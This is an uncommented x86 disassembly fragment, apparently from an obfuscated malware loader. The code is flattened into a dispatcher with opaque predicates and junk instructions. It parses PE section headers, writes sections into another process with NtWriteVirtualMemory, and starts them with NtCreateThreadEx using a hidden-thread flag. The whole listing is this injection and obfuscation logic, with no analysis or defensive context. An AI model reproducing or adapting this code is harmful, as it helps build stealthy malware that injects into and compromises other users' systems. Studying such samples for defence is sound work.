mov eax, 0x9b197b0a
mov ecx, 0x9248e7ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b197b0a
mov ecx, 0xb2ca8f4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0x9f3b64a9
jmp 0x100100d9
mov dword [ebp - 0x154], 0x4d051d73
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf3fa768
mov ecx, 0x792acd9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0xef7a3aba
jmp 0x100100d9
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x128]
mov edx, dword [edx]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0x13c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x154], 0xfa847c53
jmp 0x100100d9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
sub ecx, 0x905784e6
sub ecx, eax
add ecx, 0x905784e6
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x476c43b6
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
sub edx, 0xb548b5ae
sub edx, 1
add edx, 0xb548b5ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeec77606
mov ecx, 0xf0684eaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0x356a9b42
jmp 0x100100d9
mov eax, dword [ebp - 0x138]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10012100
add esp, 0xc
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x154], 0x70cc1784
jmp 0x100100d9
mov dword [ebp - 0x154], 0x90e796e4
jmp 0x100100d9
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xbcca5fac
jmp 0x100100d9
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x9c]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xac756996
jmp 0x100100d9
mov dword [ebp - 0x154], 0xea175dc4
jmp 0x100100d9
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100084d0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x154], 0xf68321ba
jmp 0x100100d9
mov dword [ebp - 0x154], 0xf90c1de1
jmp 0x100100d9
mov dword [ebp - 0x154], 0x70ec90bf
jmp 0x100100d9
mov dword [ebp - 0x154], 0x18e690c4
jmp 0x100100d9
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x154], 0x76abcb1b
jmp 0x100100d9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub ecx, 0x234f67df
add ecx, eax
add ecx, 0x234f67df
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x19a98d
jmp 0x100100d9
mov dword [ebp - 0x154], 0xeae1c4a8
jmp 0x100100d9
mov dword [ebp - 0x154], 0x9248e7ae
jmp 0x100100d9
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x154], 0xd77c156b
jmp 0x100100d9
jmp 0x10008c17